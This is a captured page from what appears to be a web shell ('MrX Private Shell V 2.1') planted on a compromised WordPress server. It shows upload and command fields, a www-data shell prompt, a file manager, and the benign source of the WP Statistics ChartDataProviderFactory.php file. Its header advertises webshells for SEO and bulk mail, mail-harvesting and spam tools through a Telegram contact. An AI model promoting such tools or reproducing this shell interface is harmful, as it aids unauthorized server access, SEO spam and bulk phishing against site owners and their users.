__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

namespace WP_Statistics\Service\Charts;

use WP_Statistics\Service\Charts\DataProvider\OsChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\MapChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\ModelChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\DeviceChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\BrowserChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\CountryChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\TrafficChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\PlatformChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\ContinentChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\ExclusionsChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\PerformanceChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\SocialMediaChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\SearchEngineChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\UsersTrafficChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\EventActivityChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\LoggedInUsersChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\SourceCategoryChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\TopSourceCategoriesDataProvider;
use WP_Statistics\Service\Charts\DataProvider\SummaryChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\PublishOverviewChartDataProvider;
use WP_Statistics\Service\Charts\DataProvider\AuthorsPostViewsChartDataProvider;


class ChartDataProviderFactory
{
    /**
     * Returns a new instance of PerformanceChartDataProvider.
     *
     * @param array $args The arguments to pass to the PerformanceChartDataProvider constructor.
     * @return PerformanceChartDataProvider
     */
    public static function performanceChart($args)
    {
        return new PerformanceChartDataProvider($args);
    }

    /**
     * Returns a new instance of BrowserChartDataProvider.
     *
     * @param array $args
     * @return BrowserChartDataProvider
     */
    public static function browserChart($args)
    {
        return new BrowserChartDataProvider($args);
    }

    /**
     * Returns a new instance of DeviceChartDataProvider.
     *
     * @param array $args
     * @return DeviceChartDataProvider
     */
    public static function deviceChart($args)
    {
        return new DeviceChartDataProvider($args);
    }

    /**
     * Returns a new instance of OsChartDataProvider.
     *
     * @param array $args
     * @return OsChartDataProvider
     */
    public static function osChart($args)
    {
        return new OsChartDataProvider($args);
    }

    /**
     * Returns a new instance of ModelChartDataProvider.
     *
     * @param array $args
     * @return ModelChartDataProvider
     */
    public static function modelChart($args)
    {
        return new ModelChartDataProvider($args);
    }

    /**
     * Returns a new instance of SearchEngineChartDataProvider.
     *
     * @param array $args The arguments to pass to the SearchEngineChartDataProvider constructor.
     * @return SearchEngineChartDataProvider
     */
    public static function searchEngineChart($args)
    {
        return new SearchEngineChartDataProvider($args);
    }

    /**
     * Returns a new instance of SocialMediaChartDataProvider.
     *
     * @param array $args The arguments to pass to the SocialMediaChartDataProvider constructor.
     * @return SocialMediaChartDataProvider
     */
    public static function socialMediaChart($args)
    {
        return new SocialMediaChartDataProvider($args);
    }

    /**
     * Returns a new instance of TrafficChartDataProvider.
     *
     * @param array $args The arguments to pass to the TrafficChartDataProvider constructor.
     * @return TrafficChartDataProvider
     */
    public static function trafficChart($args = [])
    {
        return new TrafficChartDataProvider($args);
    }

    /**
     * Returns a new instance of UsersTrafficChartDataProvider.
     *
     * @param array $args The arguments to pass to the UsersTrafficChartDataProvider constructor.
     * @return UsersTrafficChartDataProvider
     */
    public static function usersTrafficChart($args)
    {
        return new UsersTrafficChartDataProvider($args);
    }

    /**
     * Returns a new instance of PlatformChartDataProvider.
     *
     * @param array $args The arguments to pass to the PlatformChartDataProvider constructor.
     * @return PlatformChartDataProvider
     */
    public static function platformCharts($args = [])
    {
        return new PlatformChartDataProvider($args);
    }

    /**
     * Returns a new instance of PublishOverviewChartDataProvider.
     *
     * @param array $args The arguments to pass to the PublishOverviewChartDataProvider constructor.
     * @return PublishOverviewChartDataProvider
     */
    public static function publishOverview($args)
    {
        return new PublishOverviewChartDataProvider($args);
    }

    /**
     * Returns a new instance of AuthorsPostViewsChartDataProvider.
     *
     * @param array $args The arguments to pass to the AuthorsPostViewsChartDataProvider constructor.
     * @return AuthorsPostViewsChartDataProvider
     */
    public static function authorsPostViews($args)
    {
        return new AuthorsPostViewsChartDataProvider($args);
    }

    /**
     * Returns a new instance of MapChartDataProvider.
     *
     * @param array $args
     * @return MapChartDataProvider
     */
    public static function mapChart($args = [])
    {
        return new MapChartDataProvider($args);
    }

    /**
     * Returns a new instance of MapChartDataProvider.
     *
     * @param array $args
     * @return ExclusionsChartDataProvider
     */
    public static function exclusionsChart($args)
    {
        return new ExclusionsChartDataProvider($args);
    }

    /**
     * Returns a new instance of SourceCategoryChartDataProvider.
     *
     * @param array $args
     * @return SourceCategoryChartDataProvider
     */
    public static function sourceCategoryChart($args)
    {
        return new SourceCategoryChartDataProvider($args);
    }

    /**
     * Returns a new instance of CountryChartDataProvider.
     *
     * @param array $args
     * @return CountryChartDataProvider
     */
    public static function countryChart($args = [])
    {
        return new CountryChartDataProvider($args);
    }

    /**
     * Returns a new instance of ContinentChartDataProvider.
     *
     * @param array $args
     * @return ContinentChartDataProvider
     */
    public static function continentChart($args = [])
    {
        return new ContinentChartDataProvider($args);
    }

    /**
     * Returns a new instance of TopSourceCategoriesDataProvider.
     *
     * @param array $args
     * @return TopSourceCategoriesDataProvider
     */
    public static function topSourceCategories($args = [])
    {
        return new TopSourceCategoriesDataProvider($args);
    }

    /**
     * Returns a new instance of TopSourceCategoriesDataProvider.
     *
     * @param array $args
     * @return LoggedInUsersChartDataProvider
     */
    public static function loggedInUsers($args = [])
    {
        return new LoggedInUsersChartDataProvider($args);
    }

    /**
     * Returns a new instance of EventActivityChartDataProvider.
     *
     * @param array $args
     * @return EventActivityChartDataProvider
     */
    public static function eventActivityChart($args)
    {
        return new EventActivityChartDataProvider($args);
    }

    /**
     * Returns a new instance of summaryChartDataProvider.
     *
     * @param array $args
     * @return SummaryChartDataProvider
     */
    public static function summaryChart($args = [])
    {
        return new SummaryChartDataProvider($args);
    }
}

Filemanager

Name Type Size Permission Actions
DataProvider Folder 0755
Traits Folder 0755
AbstractChartDataProvider.php File 1.14 KB 0644
ChartDataProviderFactory.php File 7.74 KB 0644
Filemanager